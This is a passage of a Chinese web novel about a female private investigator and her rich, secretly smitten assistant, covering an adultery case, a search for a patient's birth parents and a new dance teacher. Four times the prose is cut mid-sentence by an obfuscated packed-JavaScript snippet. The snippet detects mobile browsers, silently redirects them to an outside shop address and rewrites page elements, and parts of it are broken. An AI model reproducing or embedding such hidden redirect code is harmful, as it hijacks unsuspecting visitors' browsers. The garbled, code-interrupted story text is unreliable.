三个人出了房间,从安全楼梯走下去,悄悄出了宾馆。 * 宋流星开着车,送圆脸女孩回家。 车里一片沉默,气氛十分尴尬。 最终,宋流星看着后视镜,忍不住开口:“你看上他哪里了啊……他那个年纪,都能当你爸爸了。” 圆脸女孩小声:“他对我挺好的……” 宋流星想吐血。 对我挺好的。 她甚至好多次听见刚刚挨过打的女人说:可是他对我挺好的。 仲光华淡淡开口:“他是怎么对你好的?举个例子,不然我们不明白。” 圆脸女孩缩在后座角落里,低着头,小小声:“我是当服务员的,在一家叫做湘阁的湘菜馆……他经常去那里吃饭。” “我初中没毕业就出来打工了,什么活都干过。你们不懂,社会上的人对我这样的人是很凶的。” “但是他不一样,他总是笑眯眯的,见了我会跟我打招呼,对我很亲切。” “那一天我刚好痛经,他注意到了,让我在他的包厢里坐下来喝了一杯热茶,还叫他朋友不准开我玩笑。” “后来他经常等到店里打烊之后叫我出去吃夜宵……” 她把脸埋进手掌里:“我还以为,我以为他就是想睡我……但他没有,他一直很有礼貌……” “最后是我主动的……” 仲光华从鼻子里哼出一声,“他都不急,你急什么?” 圆脸女孩一个激灵,涨红了脸,想要辩解,却语无伦次:“我,我……” 宋流星瞪了副驾驶上的年轻男人一眼,呵斥道:“不会说话就别说话。” “就是因为拥有的太少才会患得患失。” “害怕自己如果不主动,连这一点都会失去。” 圆脸女孩猛点头。 宋流星从后视镜看到她怯弱的样子,心下叹气。 这样一个干瘪的中年人,又怎么会是年轻女孩心中对浪漫的想象? 这些年轻女孩追逐的,明明是一个只存在于幻想中的完美父亲啊。 仲光华回头问道:“你会和他分手吧?” 圆脸女孩撇开头,没说话。 仲光华皱眉:“你不会说,还喜欢他吧?” 圆脸女孩顽固地不说话。 仲光华看一眼宋流星。 宋流星耸耸肩。 我刚说过了啊。正因为拥有的太少,才格外不想失去。 仲光华回头看一眼女孩,冷笑。 “你喜欢谁,是你的自由。” “但是,和他在一起的话,随时可能被他老婆带一大群人打。这才是现实的问题。” “你愿意一直活在随时被打的风险中吗?” “你对他的喜欢,到这个程度了吗?” 圆脸女孩转回头,一脸惊恐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13355455|140709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 * 女孩在小区门口下了车,车上只剩下两个人。 车辆行驶在夜色中,车内一片沉默。 仲光华看她一眼:“你在想什么?” 宋流星:“我在想……以前那四个小三,她们都被打了。我今天帮这个忙,又算什么呢?” 仲光华:“你该不会是觉得,没帮她们,是对她们不公平吧。” 宋流星没说话。 仲光华:“你今天帮忙,是因为你们两个有缘分。今天晚上,在那个时间点,事情刚好发生了。” 他转回头,看了宋流星一眼,“不然呢?你还想追求这世间绝对的公平?” 宋流星一时无言以答。 半晌,她叹气:“你说话真是难听,但还算有道理。” 仲光华皱眉:“难听吗?有道理的话怎么会难听?” 宋流星:…… 不是很想争论这种问题。 她想起宾馆里的插曲,不禁觉得好笑:“你跟那个高中生说什么呢?盯着他?你上哪去盯着他啊。” 仲光华:“他又不知道。小孩子很好骗的。” 宋流星哈哈大笑:“你好坏啊,阿年仔。” 仲光华顿住。 宋流星看他一眼:“我不会叫你年哥的,你死心吧。” 仲光华:“我也不会叫你流星姐,你也死心吧。” 车内空气一时有些尴尬。 仲光华突然发问:“钱润发为什么会被打?” 宋流星看过来一眼。 仲光华:“我才不信那套勇斗犯罪分子的说辞。” 宋流星噗嗤笑出声。 “没指望你信。也只有安安那个小傻瓜信了。” “没什么特别的原因。” “就是在外面跟人打听事情,话赶话的,说了句不好听的,对方脾气暴,就动手了。” “而且他伤那么重也不是被打的,是从楼梯上滚下来摔的。” 仲光华心里一揪。 “你呢?你有没有遇到过这种情况?” 宋流星得意道:“当然没有。我是女人,外表弱,态度又特别怂,从来不会惹任何人生气。” 仲光华胸口一阵发闷。 为了自保而装怂,你一直过着这样的生活吗? 宋流星:“你家在哪?我送你到家门口。” 仲光华眼神一闪,语气坚决:“不用。” 他看一眼前方,“前面路口把我放下吧。” 宋流星:“呵呵,有钱人的隐私问题?无所谓啦,我不用麻烦还开心呢。” 仲光华:…… 经过红绿灯后,红色朗逸换了车道,在路边悄然停下。 仲光华开门下车。 宋流星突然俯下身,从副驾驶的门看向车外高大的男人,真诚道:“谢谢你,今天幸好有你。” 说完,她伸手拉上车门,起步前行,再度汇入车流。 仲光华沿着马路走了二十分钟,来到永福集团总部大楼,乘专用电梯来到12楼。 他刷卡进入办公室,打开灯。 莹莹灯光下,厚厚一沓文件静静躺在桌上。 那是米歇尔整理好的待处理公务。 仲光华伸手拿下最上面的文件夹。 ……阿年仔。 多年以前,在他生病昏迷的时候,阿芳坐在他床边,握着他的手,轻轻呼唤:阿华仔,快点好起来啊。 阿芳以为他不知道。 其实他听到了。 他闭着眼睛,一直听着。 ……阿华仔。 他喜欢阿芳说这三个字的语气和声音。 但是醒来之后,阿芳的称呼,又变回“少爷”。 这样也好。 阿华仔什么的,未免也太没大没小了。 那时候他是这么想的。 事到如今,莫名其妙的,竟然涌起一股失落。 14. 寻找真千金 周五上午,花二宫寻人事务所。 宋流星叉着腰向新来的临时工宣讲规矩: “我们这里的工作呢,不是朝九晚五,没个准数,看情况而定。” “阿珍上午会过来看店,我们调查员呢,上午补觉,下午再过来。” “我们这里接得最多的工作,是盯梢出轨老公。他们活动的高峰期是晚饭到半夜这段时间。” “不用太担心熬夜的事情。一般来说八九点就能抓到他们进酒店了。万一有通宵盯梢的情况,第二天会给你休假。” “啊,对了,工作期间管饭。但是没得选,我买什么,你吃什么。” 仲光华:“双休呢?” 宋流星:“没有那种东西。” “刚才不是说了吗,我们可不是朝九晚五。” “能接受吗?不能接受就滚蛋。” 结果,对方竟是没什么反对的意思,毫不犹豫就点了头。 宋流星眯起眼。 可疑。这个人实在是可疑。 但是随便吧,先当作苦力用着。 她依次拍了拍工装裤上的六个大兜,确认自己需要的东西都已经装好,转身朝着大门走去。 “走吧。我们今天去帮苏小姐寻找亲生父母。” * 苏小姐出生的医院不在花城,在四十公里以外的下属县城。 红色朗逸走走停停,好不容易摆脱内城高峰车流,驶上清爽的村间小路。 宋流星看着窗外延绵不绝的稻田,整个人都轻快起来。 仲光华:“我查了一下苏小姐的病。” 宋流星:“哦?” 仲光华:“她虽然没说病名,但是,神经+遗传,限定这两个前提之后,答案差不多就出来了。” “确实如她所说,使用营养保护和神经活化治疗的话,症状能大体控制,不影响寿命,甚至不影响正常生活。” “但是——” 宋流星一笑:“总会有但是。” 仲光华:“如果治疗不到位,或者出现少数情况下的病程发展过快,病人可能残疾,失去自理能力。” “最坏的情况,苏小姐的生物学父母中的一位,已经残疾了。” “如果这样,苏小姐面临的,将是负担起一个陌生残疾人的余生。” 他看了一眼宋流星:“你不反驳吗?说那不是陌生人,而是亲生父母?” 宋流星手握着方向盘,“就是陌生人啊。” “年仔啊,我突然想到……” 她话到半截,突然停住,往右看了一眼,嘴角勾起,十分有兴味的样子:“年仔!年仔!年仔!” 仲光华:…… 他无奈叹气:“年仔就年仔吧。你愿意叫什么都行。” 宋流星:“叫我流星姐吧。来,叫一声听听。” 仲光华:“你真的35岁吗?” 宋流星嘿嘿笑起来:“经常有人这么说呢!他们都说我看起来就像是25岁。” 仲光华:…… 我倒也不是这个意思。 宋流星拐回正题:“我突然想到,对方那个女孩子会怎么选呢?” “假设是最坏的情况,一边是贫穷残疾但是有恩的养父母,一边是富裕健全却陌生的亲生父母,她会怎么选?” 她咯咯笑起来:“真是地狱选择题啊!” 仲光华忍不住看了她一眼。 宋流星:“看什么?是不是觉得我不善良?别被我的脸骗了,我行走江湖,靠的可不是善良。” 仲光华:“不……我是想说,身为女儿,不管是苏小姐,还是对方那个女儿,都没有选择的余地。” “真正的选择权在苏小姐父母手里。” “有感情但是有病的养女,陌生但健全的亲生女儿,不管他们倾向哪边,另一边都会很惨。” “这才是真的地狱选择题。” 宋流星:“瞧你说的,难道肠粉店夫妻一点选择权都没有吗?” 仲光华:“他们当然可以选。只是他们选什么并不重要。” 宋流星嘴角抽搐:“你直说好了。有钱人就是这个世界的主人。” 仲光华:“难道不是吗?” 宋流星干笑一声,没说话了。 导航显示车辆已进入县城范围,离医院只有三公里。 宋流星开始感觉不对劲。 去往医院的路,是一条宽阔气派的四车道水泥路。 路没有问题,问题是,路边不是荒地,就是工地,一点生活气息都没有。 根据苏小姐从她妈妈那里听来的,当时医院在县城的中心地带,四周全是市场和店铺,热闹得很。 疑似生物学母亲的那位产妇,她家的肠粉店,就在医院马路对面的菜市场门口。 导航提示:目的地已到达。 红色朗逸停在气派的医院大楼门口。 马路对面是一片崭新的住宅小区。 别说肠粉店了,连菜市场都无影无踪。 宋流星下了车,找了上年纪的保安询问。 保安大手一挥,告知:拆了!全拆了! 原先这一片全是农民自己建的房子,下水都是乱搞的,一到夏天就淹。 后来县里统一规划,把这片全拆了。 这里原先住的那些人,全搬到新的小区里去了。 至于肠粉店去了哪里?不清楚,不知道。 仲光华:“怎么办?” 宋流星:“继续问啊。医院里这么多人,一个个问过去,总有人知道的。” 仲光华:…… 宋流星:“这份工就是枯燥又无聊的啊,不然人家也不会付钱让我们来做了。” 她歪头审视仲光华:“说真的,你看中这份工作哪里?我是为生活所迫,可你是有钱人吧?” 仲光华:“我觉得很有意思。嗯,很长见识。” 宋流星:“好吧。” “接下来我们分头行动。目标是所有四十岁以上的医护和就诊人员。借口就是,我们家以前住在附近,和肠粉店老板很谈得来,可惜后来全家搬走,再也没见过了。现在二十多年过去,很是思念,想和老友再见一面聊聊天。” 仲光华喃喃重复:“我们家……” 宋流星笑道:“其实就是苏小姐的妈妈啦。” “我的经验是,撒谎的时候,真的部分越多越好,假的部分越少越好。” 仲光华心想,曾几何时,你的家就是我的家,我们的家是同一个地方。 他挥散心绪,和宋流星兵分两路,开始干活。 宋流星从一楼开始往上,仲光华从顶楼开始往下。 最后是宋流星在三楼问到一个大爷,刚好是肠粉店老板的老乡,当初市场整个被拆,老板拿了补偿金,欢天喜地回老家村里去了,再也没出来干过活。 宋流星拿到了村里的地址,载着仲光华,开车向东南方向行去。 下午五点二十,到达村中。 根据医院大爷提供的名字,很容易就找到了王姓一家的房子。 宋流星看着眼前贴着白瓷砖的三层小楼,心想,还好,至少不是贫困的样子。 正要敲门,门突然开了,一个圆滚滚的小男孩凶猛冲出来。 一个小女孩马上追出来,嘴里大喊:“阿豪!不准乱跑!” 宋流星眼看着两个孩子冲到田埂上,男孩大约三四岁的样子,女孩也不过七八岁的样子。 这一家的妈妈,怎么也得四十多、五十岁了吧,竟然有这么小的孩子。 等一下……这个年龄跨度……上面不会还有别的女孩吧。 为了给夫家生一个耀祖出来,也太不容易了吧。 宋流星看着田埂上小女孩脏兮兮的恤衫和大短裤,想到苏小姐的丝绸连衣裙,一时间不由得有些心塞。 门里又冲出来一个年轻妇人,看着大约三十岁的样子,她一手扶门,一手指着田里,嘴里大叫:“阿娇!快把你弟弟抓回来!” 女孩追上了男孩,一把抓住,用力往回拖。 男孩嗷的一声大哭起来:“妈!姐姐打我!” 年轻妇人大叫:“阿娇!叫你抓弟弟不是叫你打弟弟!” 女孩委屈大叫:“我没打他!” 宋流星:??? 这妇人是谁?这个年纪,如论如何也生不出苏小姐那个年纪的女儿吧! 啊,对,知道了,是这家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13355456|140709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的亲戚—— 就在这时,年轻妇人看到了土路对面的仲光华,眼睛一亮,脸上浮起淡淡红晕,匆匆用手抚了一下鬓发,问道:“你找谁?” 宋流星:“你好,我们来找华英。” 华英——肠粉店老板娘的名字。 年轻妇人立刻露出一丝不悦。 “她啊!她走了都十几年了,连亲戚都断干净了,没人知道她去了哪!” 原来,华英早已成为前任。 辛苦操持肠粉店十几年,却在拆迁后立刻被离婚了。 王大球拿着拆迁款娶了新妻子,如愿以偿生了儿子。 而华英,带着女儿,从此不知所踪。 宋流星一时无言以答。 她看着田埂上那个脏兮兮的小女孩,心里涌起一股酸涩。 还以为这就算是糟糕境况了,谁知,人生的低谷根本没有底线。 仲光华:“接下来怎么办?” 宋流星:“当然是去找华英和她女儿。” “如果这件事最后会带来某种金钱上的补偿,那受益者绝不能是王大球。” 仲光华点头,“那我们去村里打听一圈,看看有谁知道华英去了哪儿。” 宋流星摸摸下巴:“我想到一个更快的方法。” * 宋流星开着车去了村里的小学,果然,老师们都记得王阿红。 王阿红,王大球和华英的女儿。 这个敷衍的名字,确实就是她的大名。 一位数学老师当年十分偏爱王阿红,小学毕业后也一直是王阿红的知心大姨。 这份情谊维持了将近二十年,从不曾淡去。 宋流星鬼话重提,说自己妈妈多年前是肠粉店的常客,现在想和华英重聚一次,聊聊往日时光。 数学老师轻易地相信了,高兴地给出了王阿红的联系方式。 夕阳西下,光线暗下来,燥热却丝毫不减。 宋流星钻进车子,迫不及待把空调打开。 她看了一眼副驾驶,年轻男人的额发已经濡湿,汗水顺着耳侧淌进白衬衫的衣领里。 “哎呀呀,你看看这些汗,该热坏了吧。”她念叨着,从包里翻出小毛巾,斜过身体,一伸手,直接糊上对方的脸。 仲光华瞬间被女性气息笼罩住。 他浑身僵硬,任由施为。 胡乱狠擦了一顿之后,宋流星把毛巾塞进对方手里,“你把扣子解开几颗,把胸口背上也擦一擦。” 说完,她把空调出风口打到最右边,嘴里不断念叨着,“要擦干啊,不然吹空调要感冒的。” 仲光华转头看着她,奔波一天,马尾有些松了,散落下来许多碎发,湿答答黏在脖子上。 这样的画面,他再熟悉不过。 时间尽头的碎片,像椋鸟一样呼啦啦涌来。 印度洋上没有四季,终年炎夏。 他很讨厌汗湿黏腻的感觉,但是因为医嘱,不得不出门运动。 每一次,阿芳都陪着他。 阿芳是个运动健将。 她跑起步来,像小鹿一样轻盈。 扣杀网球时,像豹子一样凶猛。 而他总是分神。 他明明最讨厌汗液的存在。 可是看到阿芳汗湿的碎发、黏在身上的恤衫,只觉得好可爱。 甚至不住幻想,摸上去的手感。 仲光华手里握着毛巾,不由自主抬手,擦掉了宋流星脖子上的汗珠。 宋流星吓了一跳。 接着,嫌弃得脸都皱起来:“你刚擦过!怎么能拿来擦我!” 仲光华不自在撇开眼神,强行辩解:“是你自己的毛巾,有什么好嫌弃的。” 宋流星气呼呼,自暴自弃抓过毛巾一顿乱擦。 仲光华身体僵硬。 他们初尝禁果,是在一个没有空调的小房间里。 他们出了那么多汗。 滚烫的皮肤贴在一起,仿佛下一秒就要燃起火焰,将一切烧得灰飞烟灭。 仲光华望着宋流星轻松的侧脸,咬紧的牙关下翻腾着剧烈的情绪。 所有的那一切,你怎么能忘记? ……你怎么可以! 15. 美丽鳏夫 第二天是周六。 一大早,阿珍就来到了事务所。 她拉起不锈钢闸门,推开茶色玻璃门,大喊起来:“流星姐!起床了!快起床!” 宋流星从狭窄的楼梯口探出一颗头,“起了,已经起了。” 阿珍:“你看看你那颗头,都爆炸了!” 宋流星抓抓头发,不好意思道:“昨晚洗头发太晚了,没吹干就睡了。” 阿珍唰的抽出直板夹:“我就猜到会有这种情况,早有准备。你洗脸了吗?快去洗脸换衣服,下来我帮你化妆弄头发。” 宋流星皱皱鼻子,哼哼唧唧地去了。 五分钟后,她换上一件淡蓝色短袖连衣裙下来了。 阿珍皱眉审视:“好普通哦……” 宋流星看着一身宝石绿紧身迷你裙的阿珍,无奈笑:“我本来就是这么普通的人啊。” 阿珍:“不要说自己普通。你可是美女!美女!懂吗?” 她一拍手,“对了,你不是有一件红色的吊带裙吗?去换那件。” 宋流星皱起脸:“啊?那件啊,会不会太显眼了?” 阿珍瞪起眼:“显眼怎么了?我们要的就是显眼。听我的,快去换上!” 宋流星叹一口气,上楼去换了衣服,再次下楼,走到桌边,看到摊了一桌的化妆品,惊道:“还要化妆?我只是去凑个热闹,至于这么努力吗?” 阿珍叉腰:“人家可是美男子!你要灰头土脸去见美男子吗?这是对美男子的不尊重!” 宋流星:…… 阿珍用粉扑在宋流星脸上一顿用力拍拍,又换上小刷子精细修饰。 她压低了声音,神秘道:“我去调查了李老板的底细哦~” 宋流星颇有兴趣:“哦?” 阿珍浮夸道:“不查不知道,一查吓一跳!” “他都不是普通的有钱人,是超级有钱的公子哥!是豪门世家!” “他不是安安同学的叔叔嘛,我去打听了那个同学。没想到啊,他很有名哦!他爷爷是从南洋来大陆投资的大商人,家里在南城有一栋占地一千多平米的大别墅,他爸爸为了上班方便,带着老婆孩子住在市区的大平层。” “我们李老板呢,是家里的小儿子,有名的任性又爱玩,大学毕业以后就到处晃悠,从来没上过一天班。” “你说,这样一个人,为什么突然来我们这里打工?” 宋流星理所当然道:“因为闲得没事干吧。” 阿珍满心的恨铁不成钢:“当然是为了你啊!” 宋流星:? 阿珍:“他肯定是第一次上门的时候对你一见钟情,为了接近你,特意来这里上班。” 宋流星伸手去摸阿珍的额头:“你该不会是发烧了吧?怎么说胡话呢。” 阿珍:“我是认真的!我什么人没见过,我跟你说,他看你的眼神不清白。” 宋流星:“你是不是近视了?去查个视力吧。” 阿珍气得跺脚。 门口突然传来声音:“谁近视了?成年人不会突然近视的。” 宋流星诧异回头:“你怎么来了?” 仲光华站在门口,一瞬间呆住了。 这是谁? 鲜红的吊带连衣裙,肩带细细,露出平直纤薄的锁骨和肩膀。 柔滑细腻的小脸,眉毛弯弯,眼睛黑白分明,嘴唇嘟嘟的,翘翘的,好像在撒娇一样。 是,阿芳的嘴唇一直是嘟嘟的,翘翘的,好像在撒娇一样。 别的小孩拿这个嘲笑她,她会又生气又害羞地捂住嘴巴。 ……超可爱。 虽然一直这样,但今天尤其突出。 等一下,那是涂了口红? 仲光华感到一股喜悦从腹部爆发,扩散至全身。 阿芳背着我偷偷打扮,想给我一个惊喜吗? 阿珍眼珠子滴溜溜一转,把宋流星直直推到仲光华面前,“我们流星姐靓不靓?平时总穿着旧巴巴的老头衫,美貌都被封印了!” 仲光华深呼吸,矜持点头:“不错。” 宋流星有些羞涩,推开阿珍,自己也退开几步,深呼吸,重新壮起气势:“你这么早跑来干嘛?不是叫你下午再过来吗?下午才有活干。” 仲光华撇开眼神:“哦,我反正没事,早点过来看看。” 阿珍嘿嘿笑:“没事的话,多睡一会儿呗。” 仲光华装出随意的样子,视线落回宋流星身上:“这样子不错。以后你也可以这样。” 宋流星失笑:“以后?只此一天,没有以后了。” 仲光华:? 不等他出声,一阵轰隆隆的脚步声传来,巨型小学生宋平安从楼梯间跳出来,大喊着:“我起来了!我起来了!我们出发吧!” 阿珍:“别急!先吃饭!茶几上有包子和皮蛋粥,你坐下来慢慢吃。” 宋平安这会儿才看清妈妈的样子,惊喜道:“妈妈,你好漂亮!好像公主!小雪一定会喜欢你的!” 仲光华终于察觉不对:“你们这是要去哪儿?小雪是谁?” 宋平安:“哇!李叔叔你也在啊!小雪家的舞蹈教室今天开业,我们去庆祝!李叔叔你要去吗?” 仲光华看着宋流星,一脸不敢置信:“所以你打扮成这样,是为了——” 宋流星的羞涩劲已经过去。 她一撩头发,发梢在空气中画出柔美弧线。 “大家都在说,舞蹈教室的老板是超级美男子。不止是我,估计所有人都拼尽全力打扮起来了吧。” 她快活笑起来:“毕竟,这是对美男子的应有礼仪啊。” 仲光华:??? 仲光华:!!! * 三个大人一个小孩排成一行,沿着马路牙子往街尾走去。 之前老板跑路、空置长达半年的健身房遗址上,终于新开了舞蹈教室。 这件事,可以说是街坊们近期来最为热衷的话题。 新老板的基本信息也早已流传得尽人皆知。 蓝清,男,39岁,登上过春晚的专业舞蹈演员。 原先在莫斯科留学,后来在国家大剧院工作,这一次算是退休回老家。 为什么退休这么早?并不是体能和技艺退步,而是因为妻子病逝,心灵受到巨大打击,无法继续维持原有的生活,因此带着独生女儿回到老家疗养。 ……思念亡妻的美丽鳏夫。 前后左右八条街上的大姐小妹们都心跳加速了。 十分钟后,舞蹈教室到达。 一度冷清破败的铺面,如今已经焕然一新。 墙壁刷成可爱的奶蓝色,落地玻璃洁净通透, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13355457|140709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大门前堆满庆贺花篮。 一行四个人进了大门。 屋里已经挤满了人,都是附近的街坊们。 阿珍伸手一指:“看!蓝老师在那里!” 宋流星顺势看去,阿姨大姐们聚成一堆,簇拥着一个高大的男人。 这个角度,看不见男人的脸。 只能看见他肩膀宽阔平直,脖子雪白修长,一头长发微卷,在脑后随意扎起来。 宋流星顿了一下。 长发的男人啊……好像在哪里见过。 那边,男人嗓音柔和: “对的,我们课时安排都比较短,毕竟小朋友注意力有限,课时拉太长的话,孩子们会很辛苦,也没法有效提高。” “考级?可以的啊,我们可以安排中央舞蹈学院的考级。” “嗯嗯,安全健康当然是第一追求。我这里绝对不会教伤害身体的动作,教室里的把杆啊,用具啊,也都是我亲自盯着安装的。” “汇报演出当然有啊。到时候就拜托大家了,都要来给孩子们加油哦。” 阿姨大姐们喊着“一定会来的”,集体发出一阵快活的笑声。 男人转过头来。 洁白无暇的额头,笔直的鼻梁。 如此熟悉。 宋流星如遭雷击。 这位蓝老师,不就是,不就是,那天惨遭她随手搭讪的路人吗?! 蓝老师转头看向这边,一眼就看到了宋流星。 他高兴地挥挥手。 阿珍惊喜道:“他认识你啊!什么时候认识的?” 宋流星嘴角抽搐:“学校文艺大会那天……” 她内心大叫:让我消失吧!苍天啊,让地板裂开一道缝,让我钻进去吧! 仲光华也认出了蓝老师——学校文艺大会那天,阿芳红着脸主动搭讪的野男人。 他转头去看宋流星,瞳孔一缩。 她,她又脸红了! 等一下,她今天如此精心打扮,难道是为了来见这个野男人? ……并没有其它解释。 她特意盛装打扮,特意来见这个野男人。 仲光华只觉得一颗心仿佛掉进油锅,灼热剧痛。 宋流星清晰感觉到自己耳朵开始发烫。 要命,脸不会也红了吧。 冷静!给我冷静下来! 冷静地待上一会儿,然后冷静地走出去,然后,从此以后,一辈子都不要再接近这幢建筑物! 噗通,噗通,噗通。 宋流星数着自己的心跳。 有一分钟了吗? 应该有了吧。 很好,就是现在,随意地迈步,悄悄地走出去—— “小雪!”宋平安突然跳起来大喊。 一个精致漂亮的小女孩从人群中冒出个头,也快乐大喊:“安安!你来了啊!” 她几步跑到蓝老师身边,揪着蓝老师的衣服,伸手指着宋流星这边:“爸爸!我的好朋友安安和他妈妈来了!” 蓝老师牵着小雪走过来,在宋流星面前停下。 两人的距离只有一尺。 蓝老师面色惊喜:“原来你就是安安的妈妈?好有缘啊!” 宋流星心智涣散了一秒。 天啊,蓝老师,他真的好英俊。 仲光华几乎爆炸。 16. 重大决定 事情是这样的。 一周前,来自北方首都的女孩蓝雪,转入了宋平安的所在的4年2班。 蓝雪用她精致美丽的容貌,活泼开朗的性格,迅速赢得了全班同学的爱。 宋平安当然也不例外。 这一周以来,每天晚上在家,他都会巨细无遗向妈妈报告小雪一整天的动态。 宋流星笑眯眯听着,心里却十分不安。 这样下去,小雪会不会变成安安的初恋? 听起来,小雪是个很优秀的孩子。 她会喜欢笨蛋安安吗? 安安的初恋,注定会变成无望而伤心的单恋吗? 谁能想到,传说的小雪,她早就见过了。 正是文艺大会那天,扮作冰雪女王的小女孩。 小雪今天穿着红底白花的日常款小裙子,一手拉着爸爸,一手拉着安安,扑扇着长睫毛,笑得甜甜:“宋阿姨你好,我是安安的好朋友蓝雪!” 宋流星看着小雪那双灵秀的大眼睛,想起安安所描述的: 小雪可聪明了,不管老师问什么她都会答。她的字也很好看,上讲台写板书整整齐齐的…… 天啊,我竟然对蓝老师说“我们的孩子都是学渣”…… 难怪他当时看我的眼神那么奇怪…… 蓝老师就站在面前。 宋流星根本不敢抬头。 啊啊啊啊啊! 苍天啊,让地板裂开一道缝,让我钻进去吧! 她听见一声轻轻的笑声。 忍不住抬头看去。 蓝老师微笑着:“上次见面的时候,你是不是把我认成别的什么人了?” 宋流星脑子一炸,捂住脸,用力点头,声如蚊蚋:“对不起。” 蓝老师掏出名片盒,修长的手指从银光闪闪的小铁盒里取出黑色烫银名片,双手递出:“那重新认识一下,我是这家舞蹈教室的老师,蓝清。” 宋流星深吸一口气,双手接过,低着头去翻找自己的名片。 蓝老师:“上次你已经给过啦。我一直留着呢。宋流星,你的名字是宋流星。” 宋流星一抬头,再一次撞进蓝老师微笑的眼神里。 她的耳朵又变红了。 * 仲光华默默跟在宋流星身后,默默走回事务所,默默看着宋流星上楼,一会儿下来,已经是素面朝天,头发扎起,吊带裙也换成了老头衫和工装裤。 他忍不住冷笑:“我就只配看这个,是吧。” 宋流星隔着五米距离:“嗯?你说什么?” 仲光华:“没什么。我说,中午吃什么?” 宋流星露出为难的神情。 她稍许犹豫,直说道:“我和安安吃得很随便的。家里没有待客的东西……要不,你点外卖吧?” 仲光华:! 不但不打扮给我看,连饭都不给吃! 他满脸委屈:“不是说工作期间管饭吗?” 宋流星:“这也不是工作期间啊!我昨天叫你下午再来的啊!” 话虽然说得理直气壮,但是对方表情太过委屈,惹得她不由自主愧疚起来。 她想了想,“要不……我现在去外面买点菜回来?” 仲光华立刻点头。 宋流星:…… “那你等一下哦。” 她抓上手机,出了门。 十分钟后,她拎着一份凉拌素菜和一只白切鸡往回走。 到了事务所,推开玻璃门,室内空荡荡的,没有人。 刚才仲光华发信息说,安安叫他上楼打游戏。 还真去了啊。 宋流星笑笑,径自上了二楼,从橱柜拿出盘子,把凉拌菜和白切鸡摆好。 这时,仲光华从三楼下来了。 宋流星惊讶:“不是说打游戏?这么快就打完了?” 仲光华:“嗯,你儿子太笨了,一下子就死了。” 宋流星:…… 真不想理这个家伙。 她愤愤拔掉电饭煲的插头,打开盖子,闷了一上午的米饭香味瞬间爆发。 仲光华:“安安喜欢那个叫小雪的女孩。” 宋流星惊讶回头:“他跟你说的?” 仲光华:“还用说吗?刚才在舞蹈教室,他恨不得黏在小雪身上。有眼睛就能看出来。” 宋流星心中一惊:“蓝老师也看出来了吗?” 仲光华:“你就关心这个?” 宋流星捂住脸:“我当然关心啊,好丢脸……人家会怎么看我们啊……” 仲光华:“小雪也喜欢安安。” 宋流星苦笑:“啊?她只是出于礼貌那么说吧。” 仲光华:“你儿子虽然脑子不灵光,但是高大帅气,有女生喜欢他很正常吧?” 宋流星惊喜:“真的吗?真的会有小女孩喜欢我们安安吗?” 仲光华:“我也只是猜测。你不要抱太大希望。” 宋流星:…… * 吃完午饭,宋流星和仲光华出门开始干活。 是事务所日常接单量排名第一的工作类型:帮妻子跟踪可能出轨的丈夫。 今天这位丈夫,跟家里的妻子说,下午要和朋友出去打羽毛球,打完球去吃饭喝酒,会很晚才回家。 妻子一直怀疑丈夫和某女球友不清不楚,于是委托事务所跟踪。 今天的活很轻松。 因为这位丈夫到了羽毛球场地,打了不到一小时,就和女球友两个人溜出来,在无人的角落接吻。 宋流星举起相机,咔嚓咔嚓咔嚓一顿拍。 “好啦!今天提前收工!”宋流星兴奋宣布,收起相机,启动汽车。 这个时间,路上不算堵。 不用走走停停,宋流星心里很畅快。 她看着前路景色变幻,无意识叹道:“不知道苏小姐那边怎么样了呢……” 昨天下午,他们拿到王阿红的联系方式后,直 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13355458|140709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 接约了苏小姐见面。 苏小姐听完详情,没说话,只是痛快交了尾款,拿走了联系方式。 宋流星感叹着:“苏小姐真是个好客户啊。你是不知道,好多人到了结尾款的时候就开始磨蹭,讲价,真是烦死人了。” “真希望苏小姐再来委托点什么啊。” 她转头去看仲光华:“你听到我说话了吗?” 仲光华:“不好意思,想事情入神了。” 宋流星:“在想什么?” 仲光华:“秘密。” 宋流星:…… 